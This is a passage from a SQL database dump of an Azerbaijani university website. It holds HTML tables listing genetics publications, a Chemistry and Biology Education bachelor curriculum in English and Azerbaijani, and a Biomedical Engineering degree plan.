konfransının materialları, 25-26 may, Bakı, 2012</p></td><td colspan=\"2\" width=\"115\"><p>s.132-133</p></td><td width=\"121\"><p>&nbsp;</p></td></tr><tr><td width=\"44\"><strong>61.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol></ol></td><td width=\"330\"><p>The comparison of beta-globin gene mutations between populations of Mughan region of Azerbaijan and Shiraz region of Iran</p></td><td width=\"340\"><p>5th Annual Meeting of NGFN-Plus and NGFN-Transfer in the Program of Medical Genome Research, 11-13 December 2012, DKFZ, Heidelberg</p></td><td colspan=\"2\" width=\"115\"><p>s.222</p></td><td width=\"121\"><p>Asghar Ebrahimi</p></td></tr><tr><td width=\"44\"><p><strong>63.</strong></p></td><td width=\"330\"><p>Эпидемиология, лабораторные показатели и генетическая гетерогенность дефицита фермента Г-6-ФД в Саатлинском и Сальянском районах Азербайджана</p></td><td width=\"340\"><p>AMEA-nın Mikrobiologiya İnstitutunun elmi əsərləri, 2013, cild 11 (1)</p></td><td colspan=\"2\" width=\"115\"><p>s.249-253</p></td><td width=\"121\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\"><p><strong>64</strong>.</p></td><td width=\"330\"><p>History of the Study and Solution to the Problem of&nbsp;β-Thalassemia in Azerbaijan</p></td><td width=\"340\"><p>Journal of Clinical Medicine of Kazakhstan, 2013; 4 (30)</p></td><td colspan=\"2\" width=\"115\"><p>p. 21-28</p></td><td width=\"121\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\"><p><strong>65.</strong></p></td><td width=\"330\"><p>Методика преподавания биологии</p></td><td width=\"340\"><p>Bakalavr pilləsi üçün proqram, 2013</p></td><td colspan=\"2\" width=\"115\"><p>&nbsp;</p></td><td width=\"121\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\"><p><strong>66.</strong></p></td><td width=\"330\"><p>Метод Reverse Hybridization StripAssay в постановке точного диагноза типа мутации β-талассемии</p></td><td width=\"340\"><p>AMEA-nın Mikrobiologiya İnstitutunun elmi əsərləri, 2013, cild 11 (2)<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"115\"><p>s.133-141</p></td><td width=\"121\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\"><p><strong>67.</strong></p></td><td width=\"330\"><p>Современные ДНК-технологии в генетической идентификации ценных пород в коневодстве</p></td><td width=\"340\"><p>AMEA-nın Mikrobiologiya İnstitutunun elmi əsərləri, 2013, cild 11 (2)<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"115\"><p>s.151-157</p></td><td width=\"121\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\"><p><strong>68.</strong></p></td><td width=\"330\"><p>Mitochondrial DNA research in population genetics, forensic and medicine: goals and perspective</p></td><td width=\"340\"><p>AMEA-nın Genetik Ehtiyatlar İnstitutunun elmi əsərləri, 2013, cild 4<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"115\"><p>s.276-283</p></td><td width=\"121\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\"><p><strong>69.</strong></p></td><td width=\"330\"><p>Комплексный мутационный анализ НВВ-гена для определения ассоциированной β-гемоглобинопатии в Ахсуинском районе Азербайджанской Республики</p></td><td width=\"340\"><p>«Бакы Университетинин хябярляри» журналы, Тябият елмляри серийасы, №1, 2014<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"115\"><p>s.60-70</p></td><td width=\"121\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\"><p><strong>70.</strong></p></td><td width=\"330\"><p>An integrated clinical-laboratory and molecular-genetic approach in the diagnosis of genetic abnormalities among the population of Azerbaijan Republic</p></td><td width=\"340\"><p>Journal of Clinical Medicine of Kazakhstan, 2014; 3 (33)</p></td><td colspan=\"2\" width=\"115\"><p>p. 8-12</p></td><td width=\"121\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"44\"><p><strong>71.</strong></p></td><td width=\"330\"><p>RDBH-метод и технология Big DyeTM Terminator в постановке точного диагноза при β-талассемии и аллельном полиморфизме β-глобинового кластера</p></td><td width=\"340\"><p>Georgian Medical News, 2014; 11 (236)<strong><em>&nbsp;</em></strong></p></td><td colspan=\"2\" width=\"115\"><p>p.67-73</p></td><td width=\"121\"><p><strong>&nbsp;</strong></p></td></tr><tr height=\"0\"><td width=\"44\">&nbsp;</td><td width=\"330\">&nbsp;</td><td width=\"340\">&nbsp;</td><td width=\"1\">&nbsp;</td><td width=\"114\">&nbsp;</td><td width=\"121\">&nbsp;</td></tr></tbody></table>  <br></div>'),(1290,825,'en','The Bachelor Program in Chemistry and Biology Education','The Bachelor Program in Chemistry and Biology Education','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><h3><strong>Bachelor Degree Program in Chemistry and Biology Education</strong></h3><p>This program is composed of 2 related sciences. The program is based on professional knowledge and skills in chemistry and biology science with a diversity of teaching methods. Internships are a necessary part of the program, and students are given an opportunity for a practicum and internship at \"Dunya\" High School and/or other schools.</p><p>&nbsp;</p><table width=\"424\" height=\"847\"><tbody><tr><td><strong>Code</strong>&nbsp;<br></td><td><strong>Courses</strong>&nbsp;<br></td><td><strong>Credits</strong><br></td></tr><tr><td><strong>University Requirements</strong></td><td>&nbsp;</td><td><strong>&nbsp;27</strong></td></tr><tr><td><strong>General Education Requirements</strong>&nbsp;<br></td><td>&nbsp;</td><td><strong>&nbsp;18</strong></td></tr><tr><td><strong>Major Requirements</strong>&nbsp;<br></td><td>&nbsp;</td><td><strong>&nbsp;87</strong></td></tr><tr><td>&nbsp;</td><td>&nbsp;<strong>Core Chemistry Courses</strong></td><td><strong>&nbsp;21</strong></td></tr><tr><td>CHEM 208</td><td>General and inorganic chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 220</td><td>Organic chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 251</td><td>Oil chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 311</td><td>Physical chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 320</td><td>Chemistry of High-molecular Compunds (Polymer Chemistry)</td><td>&nbsp;3</td></tr><tr><td>CHEM 321</td><td>Analitical chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 352</td><td>Colloid chemistry</td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>Elective Chemistry Courses</strong>&nbsp;<br></td><td>&nbsp;<strong>12</strong></td></tr><tr><td>CHEM 201</td><td>Biochemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 417</td><td>Ecological Chemistry</td><td>&nbsp;3</td></tr><tr><td>CHEM 404</td><td>Fundametals of chemistry technology</td><td>&nbsp;3</td></tr><tr><td>CHEM 442&nbsp;<br></td><td>Chemical Calculations&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>Core Biology Courses</strong>&nbsp;<br></td><td>&nbsp;<strong>21</strong></td></tr><tr><td>BIO 101</td><td>General biology</td><td>&nbsp;3</td></tr><tr><td>BIO 203</td><td>Cytology, histology and embryology&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>BIO 217</td><td>Plant physiology</td><td>&nbsp;</td></tr><tr><td>BIO 222</td><td>Systematical zoology</td><td>&nbsp;3</td></tr><tr><td>BIO 312</td><td>Human anatomy</td><td>&nbsp;3</td></tr><tr><td>BIO 321</td><td>Systematical botanics</td><td>&nbsp;3</td></tr><tr><td>BIO 365</td><td>Human and animal physiology</td><td>&nbsp;3</td></tr><tr><td>BIO 403</td><td>Molecular biology</td><td>&nbsp;3</td></tr><tr><td>BIO 404&nbsp;<br></td><td>Genetics and selection</td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>Elective Biology Courses</strong>&nbsp;<br></td><td><strong>&nbsp;12</strong></td></tr><tr><td>BIO 412</td><td>Central nervous system</td><td>&nbsp;3</td></tr><tr><td>BIO 422</td><td>Membranology</td><td>&nbsp;3</td></tr><tr><td>BIO 433</td><td>Entomology and&nbsp; plant protection</td><td>&nbsp;3</td></tr><tr><td>BIO 434&nbsp;<br></td><td>Microbiology(other electice courses)</td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Methods of Teaching</strong></td><td><strong>&nbsp;6</strong></td></tr><tr><td>EDU&nbsp;<br></td><td>Teaching Methods of Chemistry&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>EDU&nbsp;<br></td><td>Teaching Methods of Biology&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>&nbsp;</td><td><strong>Core Education Courses&nbsp;</strong><br></td><td><strong>&nbsp;6</strong></td></tr><tr><td>EDU 201&nbsp;<br></td><td>Introduction to Education&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td>PSYC 304&nbsp;<br></td><td>Basics of Educational Psychology&nbsp;<br></td><td>&nbsp;3</td></tr><tr><td><strong>&nbsp;</strong><br></td><td><strong>Practicum and Internship</strong>&nbsp;<br></td><td><strong>&nbsp;9</strong></td></tr><tr><td><strong>TOTAL</strong>&nbsp;<br></td><td>&nbsp;</td><td><strong>&nbsp;132</strong></td></tr></tbody></table><p>&nbsp;</p><p><strong>Note:</strong>&nbsp;The school may also offer alternative courses to those listed above<em>.</em><em>&nbsp;<br></em></p><div><em><br></em></div></div></div>  <br></div>'),(1291,825,'az','Kimya və Biologiya müəllimliyi üzrə bakalavr dərəcəsi proqramı','Kimya və Biologiya müəllimliyi üzrə bakalavr dərəcəsi proqramı','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Bu proqram 2 əlaqəli elmlərdən ibarətdir. Bu proqramın əsas məqsədi biologiya və kimya üzrə bilik və bacarıqları müxtəlif tədris metodlarından istifadə etməklə inkişaf etdirməkdir. Pedaqoji təcrübə proqramın mühim hissəsini təşkil edir və tələbələrə \"Dünya\" məktəbində və digər məktəblərdə passiv və fəal təcrübə keçmək imkanı verilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qeyd: Fakültə digər alternativ fənlər təklif edə bilər.</p><table cellpadding=\"0\" width=\"424\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Kod</strong></p></td><td><p><strong>Fənlər</strong></p></td><td><p><strong>Kreditlər</strong></p></td></tr><tr><td colspan=\"2\"><p><strong>Universitet tələbləri</strong></p><p>&nbsp;</p></td><td><p><strong>&nbsp;27</strong></p></td></tr><tr><td colspan=\"2\"><p><strong>Ümumi təhsil tələbləri</strong>&nbsp;</p><p>&nbsp;</p></td><td><p><strong>&nbsp;18</strong></p></td></tr><tr><td colspan=\"2\"><p><strong>Ümumi təhsil tələbləri</strong>&nbsp;</p><p>&nbsp;</p></td><td><p><strong>&nbsp;18</strong></p></td></tr><tr><td colspan=\"2\"><p><strong>İxtisas tələbləri</strong></p></td><td><p><strong>&nbsp;87</strong></p></td></tr><tr><td><p>&nbsp;</p></td><td><p><strong>Kimya üzrə</strong><strong>&nbsp;</strong><strong>ixtisas fənləri</strong><strong>&nbsp;</strong></p></td><td><p><strong>&nbsp;21</strong></p></td></tr><tr><td><p>CHEM 208</p></td><td><p>Ümumi və qeyri-üzvi kimya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>CHEM 220</p></td><td><p>Üzvi kimya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>CHEM 251</p></td><td><p>Neft-kimya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>CHEM 311</p></td><td><p>Fiziki kimya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>CHEM 320</p></td><td><p>Yüksək molekullu birləşmələr kimyası (Polimer Kimyası)</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>CHEM 321</p></td><td><p>Analitik kimya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>CHEM 352</p></td><td><p>Kolloid kimya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>&nbsp;</p></td><td><p><strong>Kimya üzrə seçmə fənlər</strong></p></td><td><p>&nbsp;<strong>12</strong></p></td></tr><tr><td><p>CHEM 201</p></td><td><p>Biokimya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>CHEM 417</p></td><td><p>Ekoloji kimya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>CHEM 404</p></td><td><p>Kimya texnologiyasının nəzəri əsasları</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>CHEM 442&nbsp;</p></td><td><p>Kimyəvi hesablamalar</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>&nbsp;</p></td><td><p><strong>Biologiya üzrə</strong><strong>&nbsp;</strong><strong>ixtisas fənləri</strong></p></td><td><p>&nbsp;<strong>21</strong></p></td></tr><tr><td><p>BIO 101</p></td><td><p>Ümumi biologiya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 203</p></td><td><p>Sitologiya, histologiya və embriologiya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 217</p></td><td><p>Bitki fiziologiyası</p></td><td><p>&nbsp;</p></td></tr><tr><td><p>BIO 222</p></td><td><p>Zooloji sistematika</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 312</p></td><td><p>İnsan anatomiyası</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 321</p></td><td><p>Bioloji sistematika</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 365</p></td><td><p>İnsan və heyvan fiziologiyası</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 403</p></td><td><p>Molekulyar biologiya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 404&nbsp;</p></td><td><p>Genetika və seleksiya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>&nbsp;</p></td><td><p><strong>Biologiya üzrə seçmə fənlər</strong></p></td><td><p><strong>&nbsp;12</strong></p></td></tr><tr><td><p>BIO 412</p></td><td><p>Mərkəzi sinir sistemi</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 422</p></td><td><p>Membranologiya</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 433</p></td><td><p>Entomologiya və bitki mühafizəsi</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>BIO 434&nbsp;</p></td><td><p>Mikrobiologiya (digər seçmə fənlər)</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>&nbsp;</p></td><td><p><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>&nbsp;<strong>Təlim metodları&nbsp;&nbsp;</strong></p></td><td><p><strong>&nbsp;6</strong></p></td></tr><tr><td><p>EDU&nbsp;</p></td><td><p>Kimyanın tədrisi metodikası</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>EDU&nbsp;</p></td><td><p>Biologiyanın tədrisi metodikası</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>&nbsp;</p></td><td><p><strong>&nbsp;</strong><strong>İxtisas pedaqogika fənləri&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td><p><strong>&nbsp;6</strong></p></td></tr><tr><td><p>EDU 201&nbsp;</p></td><td><p>&nbsp;Pedoqogikanın əasaları&nbsp;&nbsp;</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p>PSYC 304&nbsp;</p></td><td><p>&nbsp;Təhsil psixologiyasının əsasları&nbsp;</p></td><td><p>&nbsp;3</p></td></tr><tr><td><p><strong>&nbsp;</strong></p></td><td><p><strong>Passiv və Fəal Pedaqoji Təcrübə&nbsp;&nbsp;</strong></p></td><td><p><strong>&nbsp;9</strong></p></td></tr><tr><td><p><strong>Ümumilikdə</strong>&nbsp;</p></td><td><p>&nbsp;</p></td><td><p><strong>&nbsp;132</strong></p></td></tr></tbody></table>  <br></div>'),(829,555,'az','Qalereya','Qalereya',''),(830,555,'en','Gallery','Gallery',''),(831,565,'az','Proqram','Proqram','<table cellpadding=\"0\" cellspacing=\"0\" width=\"947\" border-collapse:collapse;width:711pt\";border-width:1px;border-style:solid\"=\"\"><tbody><tr height=\"31\"><td height=\"31\" width=\"77\"></td><td colspan=\"6\" width=\"698\" style=\"text-align:center\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>Biomedical Engineering B.S. Program</strong></td><td width=\"53\"></td><td width=\"55\"></td><td width=\"64\"></td></tr><tr height=\"27\"><td height=\"27\"></td><td colspan=\"8\"><strong>1st-Year</strong></td><td></td></tr><tr height=\"23\"><td height=\"23\">CODE</td><td width=\"227\">Fall Semester</td><td width=\"66\">KU</td><td>ECTS</td><td>&nbsp;</td><td>CODE</td><td width=\"242\">Spring Semester</td><td width=\"53\">KU</td><td>ECTS</td><td></td></tr><tr height=\"24\"><td height=\"24\">AZLL 101</td><td width=\"227\">Azerbaijan Language&nbsp;</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>PHSC 111</td><td width=\"242\">Physics</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"24\"><td height=\"24\">MATH 101</td><td width=\"227\">Calculus_I</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>MATH 102</td><td width=\"242\">Calculus_II</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"24\"><td height=\"24\">CHEM 111</td><td width=\"227\">Chemistry</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>AZC 202</td><td width=\"242\">Azerbaijan Culture</td><td width=\"53\">2</td><td>4</td><td></td></tr><tr height=\"30\"><td height=\"30\">ENGL 101</td><td width=\"227\">English Foundations_I</td><td width=\"66\">4</td><td>8</td><td>&nbsp;</td><td>ENGL 102</td><td width=\"242\">English Foundation _II</td><td width=\"53\">4</td><td>8</td><td></td></tr><tr height=\"24\"><td height=\"24\">MED 315</td><td width=\"227\">Life Science&nbsp;</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>AZH 150</td><td width=\"242\">Azerbaijan History</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"24\"><td height=\"24\">&nbsp;</td><td width=\"227\">Social Sciences**</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"53\">&nbsp;</td><td>&nbsp;</td><td></td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">Credit</td><td>19</td><td>38</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"242\">Credit</td><td>15</td><td>30</td><td></td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr><tr height=\"27\"><td height=\"27\"></td><td colspan=\"8\"><strong>2nd-Year</strong></td><td></td></tr><tr height=\"25\"><td height=\"25\">CODE</td><td>Fall Semester</td><td>KU</td><td>ECTS</td><td>&nbsp;</td><td>CODE</td><td width=\"242\">Spring Semester</td><td>KU</td><td>ECTS</td><td></td></tr><tr height=\"36\"><td height=\"36\">MATH 132</td><td width=\"227\">Linear Algebra&nbsp;</td><td>3</td><td>6</td><td>&nbsp;</td><td>BME 235</td><td>Technical Equipment Biomedical Systems</td><td width=\"53\">4</td><td>8</td><td></td></tr><tr height=\"22\"><td height=\"22\">ENGL 216</td><td width=\"227\">ESP Biomedical Engineering</td><td>3</td><td>6</td><td>&nbsp;</td><td>BME 240</td><td width=\"242\">Biomechanics</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"32\"><td height=\"32\">CMS 202</td><td width=\"227\">Computer Application in Engineering</td><td>3</td><td>6</td><td>&nbsp;</td><td>BME 255</td><td width=\"242\">Biomedical materials</td><td>2</td><td>4</td><td></td></tr><tr height=\"47\"><td height=\"47\">BME 220</td><td width=\"227\">Technical Measurements in Biomedical Research</td><td>4</td><td>8</td><td>&nbsp;</td><td>EENG 250</td><td width=\"242\">Electrical Engineering</td><td>3</td><td>6</td><td></td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td width=\"227\">Humanity*</td><td>3</td><td>6</td><td>&nbsp;</td><td></td><td width=\"242\">Humanity*</td><td>3</td><td>6</td><td></td></tr><tr height=\"23\"><td height=\"23\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">Credit</td><td>16</td><td>32</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"242\">Credit</td><td>15</td><td>30</td><td></td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr><tr height=\"27\"><td height=\"27\"></td><td colspan=\"8\"><strong>3rd-Year</strong></td><td></td></tr><tr height=\"21\"><td height=\"21\">CODE</td><td>Fall Semester</td><td>KU</td><td>ECTS</td><td>&nbsp;</td><td>CODE</td><td width=\"242\">Spring Semester</td><td>KU</td><td>ECTS</td><td></td></tr><tr height=\"48\"><td height=\"48\">BME 350</td><td width=\"227\">The Interaction of Biological Objects with Physical and Bio-physical fields</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>BME 344</td><td width=\"242\">Methods for Obtaining Diagnostic Information</td><td width=\"53\">4</td><td>8</td><td></td></tr><tr height=\"34\"><td height=\"34\">BME 321</td><td width=\"227\">Biomedical Devices, Systems and Complexes - 1</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>BME 346</td><td width=\"242\">Biomedical Instruments</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"20\"><td height=\"20\">CIV 215</td><td width=\"227\">Engineering Drawing</td><td>3</td><td>6</td><td>&nbsp;</td><td>BME 359</td><td width=\"242\">Control System</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"34\"><td height=\"34\">BME 314</td><td width=\"227\">Foundations of Human and Animal Biology</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>BME 395</td><td width=\"242\">Summer Internship</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"51\"><td height=\"51\">&nbsp;</td><td width=\"227\">&nbsp;Social Sciences**</td><td>3</td><td>6</td><td>&nbsp;</td><td>BME 338</td><td width=\"242\">Biomedical Devices, Systems and Complexes - 2</td><td width=\"53\">3</td><td>6</td><td>&nbsp;</td></tr><tr height=\"29\"><td height=\"29\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"242\">Elective (major)***</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">Credit</td><td>15</td><td>30</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"242\">Credit</td><td>19</td><td>38</td><td></td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr><tr height=\"27\"><td height=\"27\"></td><td colspan=\"8\"><strong>4th-Year</strong></td><td></td></tr><tr height=\"21\"><td height=\"21\">CODE</td><td>Fall Semester</td><td>KU</td><td>ECTS</td><td>&nbsp;</td><td>CODE</td><td width=\"242\">Spring Semester</td><td>KU</td><td>ECTS</td><td></td></tr><tr height=\"34\"><td height=\"34\">BME 476</td><td width=\"227\">Fundamentals of Metrology, Standardization and Certification</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>BME 447</td><td width=\"242\">Automatic adjustment in biotechnological systems&nbsp;</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"20\"><td height=\"20\">ENV 305</td><td width=\"227\">HS&amp;E</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>BME 489</td><td width=\"242\">Medical Informatics</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"34\"><td height=\"34\">BME 401</td><td width=\"227\">Technical Methods of Biomedical Diagnostics</td><td width=\"66\">4</td><td>8</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"242\">Elective (major)***</td><td>3</td><td>6</td><td></td></tr><tr height=\"34\"><td height=\"34\">BME 450</td><td width=\"227\">Medical Electronics and Microprocessor Technology</td><td width=\"66\">4</td><td>8</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"242\">Elective (major)***</td><td width=\"53\">3</td><td>6</td><td></td></tr><tr height=\"20\"><td height=\"20\"></td><td width=\"227\">Elective (major)***</td><td width=\"66\">3</td><td>6</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"242\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td width=\"227\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"242\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr><tr height=\"21\"><td height=\"21\">&nbsp;</td><td width=\"227\">Credit</td><td>17</td><td>34</td><td>&nbsp;</td><td>&nbsp;</td><td width=\"242\">Credit</td><td>12</td><td>24</td><td></td></tr><tr height=\"20\"><td height=\"20\"></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr height=\"25\"><td height=\"25\"></td><td>Total Credits for Graduation</td><td>128</td><td>256</td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr height=\"20\"><td height=\"20\"></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td><strong>* Humanity Courses List:</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td><strong>***Major Electives List:</strong></td><td>KU</td><td>ECTS</td><td>Semestr</td></tr><tr height=\"20\"><td height=\"20\">PHIL 130</td><td>Culture of Philosophy</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>BME 443</td><td width=\"242\">Physics for Medicine and Biology</td><td>3</td><td>6</td><td>VI</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>Foreign Language</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>BME233</td><td width=\"242\">Cellular and Molecular Biology</td><td>3</td><td>6</td><td>VI</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>BME 320</td><td width=\"242\">Biomedical Signals and Systems</td><td>3</td><td>6</td><td>VII</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td><strong>** Social Sciences</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>BME 482</td><td>Biosensors</td><td>3</td><td>6</td><td>VII</td></tr><tr height=\"20\"><td height=\"20\">MGT310</td><td>Management and Organization</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>BME 442</td><td width=\"242\">Therapeutic Medical Devices</td><td>3</td><td>6</td><td>VIII</td></tr><tr height=\"40\"><td height=\"40\">LAW 220</td><td>Family Law</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>BME 444</td><td width=\"242\">Systems Physiology and Physiological Modeling</td><td>3</td><td>6</td><td>VIII</td></tr><tr height=\"40\"><td height=\"40\">ECON 101</td><td>Introduction to Economics</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>BME 420</td><td width=\"242\">Microprocessors in Medical Instrumentation</td><td>3</td><td>6</td><td>VIII</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>BME 493</td><td width=\"242\">Neural Engineering</td><td>3</td><td>6</td><td>VIII</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td><strong>Science and Technology</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">MATH 101</td><td>Calculus 1</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">CMS 202</td><td>Computer Application in Engineering</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">ENV 305</td><td>HS&amp;E</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr><tr height=\"20\"><td 